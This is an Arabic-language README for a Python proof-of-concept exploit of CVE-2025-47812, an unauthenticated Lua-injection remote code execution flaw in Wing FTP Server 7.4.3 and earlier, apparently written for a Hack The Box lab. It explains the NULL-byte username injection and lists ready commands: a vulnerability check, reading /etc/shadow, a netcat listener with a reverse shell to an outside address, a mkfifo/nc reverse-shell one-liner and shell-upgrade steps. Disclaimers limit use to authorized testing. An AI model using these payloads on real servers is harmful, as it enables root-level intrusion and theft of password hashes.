
CVE-2025-47812 Poc لـ wingdata HTB
أداة استغلال مكتوبة بلغة Python للثغرة غير المصادق عليها (حقن Lua) لتنفيذ الأوامر عن بُعد في Wing FTP Server الإصدار 7.4.3 أو أقل. صُممت لتوصيل شيل — أمر واحد من check إلى رد اتصال netcat فعال.
كُتبت منذ فترة لمختبر wingData على HTB وتم نشرها كمصدر مفتوح الآن. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي لاختبارها.
تقوم دالة c_CheckUser() في Wing FTP باقتطاع username عند أول بايت NULL لأغراض المصادقة، ولكن مسار إنشاء الجلسة يكتب اسم المستخدم الكامل غير المنقى في ملف جلسة Lua. قم بحقن anonymous%00]]<lua>-- وسيقوم الخادم بكتابة كود Lua الخاص بك في الجلسة. يؤدي الوصول إلى أي نقطة نهاية مصادق عليها (مثل dir.html) إلى تحميل ملف الجلسة عبر loadfile() → f()، مما ينفذ الكود المحقون بصلاحيات root / SYSTEM.
المتأثر: Wing FTP Server ≤ 7.4.3. تم الإصلاح في الإصدار 7.4.4.
pip install requests
هذا كل شيء — لا توجد تبعيات أخرى.
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html في المتصفح قبل افتراض أن عنوان URL خاطئ.shell على استقبال رد اتصال، فاستخدم وضع detached مع حمولة mkfifo أعلاه. بعض صور Linux المصغرة لا تحتوي على bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
للاستخدام التعليمي واختبار الأمان المصرح به فقط. أنت مسؤول عن الأهداف التي توجه هذه الأداة ضدها.
MIT — انظر LICENSE.
| Flag | Default | الغرض |
|---|
-u, --url | required | عنوان URL الأساسي للهدف — يستمع Wing FTP عادةً على :5466 (HTTP) أو :5467 (HTTPS). |
-U, --username | anonymous | اسم المستخدم قبل بايت NULL. يعمل Anonymous على التثبيتات الافتراضية. |
-P, --password | فارغ | كلمة المرور لطلب POST الخاص بالحقن. فارغ جيد لـ anonymous. |
-v, --verbose | معطل | يعرض تفاصيل حمولة Lua، وعناوين URL التي تم الوصول إليها، ونص الاستجابة الخام. |